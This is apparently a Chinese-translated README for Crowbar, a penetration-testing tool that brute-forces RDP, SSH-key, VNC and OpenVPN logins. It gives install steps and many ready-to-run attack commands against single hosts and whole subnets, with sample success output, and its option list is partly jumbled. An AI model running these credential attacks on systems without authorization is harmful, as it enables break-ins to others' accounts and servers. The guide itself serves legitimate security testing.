Crowbar (原名 Levye) 是一款可用于渗透测试的暴力破解工具。它以不同于其他流行暴力破解工具的方式对某些协议进行暴力破解。例如,大多数暴力破解工具使用用户名和密码进行 SSH 暴力破解,而 Crowbar 使用 SSH 密钥。这使得在渗透测试中获得的任何私钥都可用于攻击其他 SSH 服务器。
当前 Crowbar 支持:
-b openvpn)-b rdp)-b sshkey)-b vpn)Kali Linux 用户可执行
# sudo apt install -y crowbar
或者您希望从源码安装,请安装所有依赖:
Debain 9/10+ 和 Kali Rolling
# sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer python3 python3-pip
Debain 7/8 和 Kali 1/2
# sudo apt-get install -y nmap openvpn freerdp-x11 vncviewer
然后从 GitHub 获取最新版本:
# git clone https://github.com/galkan/crowbar
# cd crowbar/
# pip3 install -r requirements.txt
注意:RDP 客户端包取决于您的操作系统:
freerdp2-x11freerdp-x11 包。xfreerdp。freerdp:http://opentechnotes.blogspot.co.uk/2015/02/compile-headless-freerdp-credential-checking.html不要忘记修改 ./lib/main.py 以指向新的二进制文件!
openvpn、rdp、sshkey、vnckey</path/to/file> 密码列表文件-s/-S) 运行 TCP 端口扫描 (nmap)。这将发现目标端口是否开放</path/to/file-or-folder> 密钥文件(用于 SSH 或 VNC)</path/to/file> 用于存储日志文件(默认是 ./crowbar.log)</path/to/file> OpenVPN 配置文件</path/to/file> 用于存储成功尝试(默认是 ./crowbar.out)</path/to/file> 存储目标 IP 地址的文件</path/to/file> 存储用户名列表的文件如果您想查看所有用法选项,请使用:./crowbar.py --help。
注意: 如果您想使用包含域的用户名,请按如下方式指定用户名。反斜杠 (\) 是 Python 的转义字符。因此您必须使用以下两种格式之一:
# ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAIN\gokhan alkan":Aa123456,
# ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,
以下是使用 Crowbar 攻击 RDP 的几个示例。
RDP 暴力破解单个 IP 地址,使用单个用户名和单个密码:
# ./crowbar.py -b rdp -s 192.168.2.182/32 -u admin -c Aa123456

RDP 暴力破解单个 IP 地址,使用用户名列表文件和单个密码:
# ./crowbar.py -b rdp -s 192.168.2.211/32 -U ~/Desktop/userlist -c passw0rd

RDP 暴力破解单个 IP 地址,使用单个用户名和密码列表:
# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C ~/Desktop/passlist

RDP 暴力破解子网,使用用户名列表和密码列表并启用发现模式:
# ./crowbar.py -b rdp -s 192.168.2.0/24 -U ~/Desktop/userlist -C ~/Desktop/passlist -d

以下是使用 Crowbar 的几个示例。
SSH 密钥暴力破解单个 IP 地址,使用单个用户名和单个 SSH 私钥:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/id_rsa

SSH 密钥暴力破解单个 IP 地址,使用单个用户名和文件夹中的所有 SSH 密钥:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/

SSH 密钥暴力破解子网,使用单个用户名和文件夹中的所有 SSH 密钥并启用发现模式:
# ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k ~/.ssh/ -d

以下是使用 Crowbar 攻击 VNC 服务的示例。
VNC 暴力破解单个 IP 地址,使用密码文件并指定端口号:
# ./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -k ~/.vnc/passwd

以下是使用 Crowbar 攻击 OpenVPN 的示例。
OpenVPN 暴力破解单个 IP 地址,使用配置文件、单个用户名和单个密码,并指定端口号和可选的证书文件。无论 TCP 或 UDP 均可:
# grep remote ~/Desktop/vpnbook.ovpn
remote vpn.example.com 1194 udp
# host vpn.example.com | awk '{print $1}'
198.7.62.204
# grep '^auth-user-pass' ~/Desktop/vpnbook.ovpn
# ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 1194 -m ~/Desktop/vpnbook.ovpn -k ~/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF

执行 Crowbar 后,它会在当前目录生成两个用于记录日志和结果的文件。默认日志文件名为 crowbar.log,存储执行期间的所有暴力破解尝试。如果您不想使用默认日志文件,应使用 -l log_path。第二个文件是 crowbar.out,存储执行期间的成功尝试。如果您不想使用默认输出文件,应使用 -o output_path。之后您可以观察 Crowbar 的操作。
您可以通过 -v 使输出更详细,或者使用 -vv 显示更多信息。如果您正在排查问题或潜在错误,使用 -D 将启用调试模式并输出更多信息。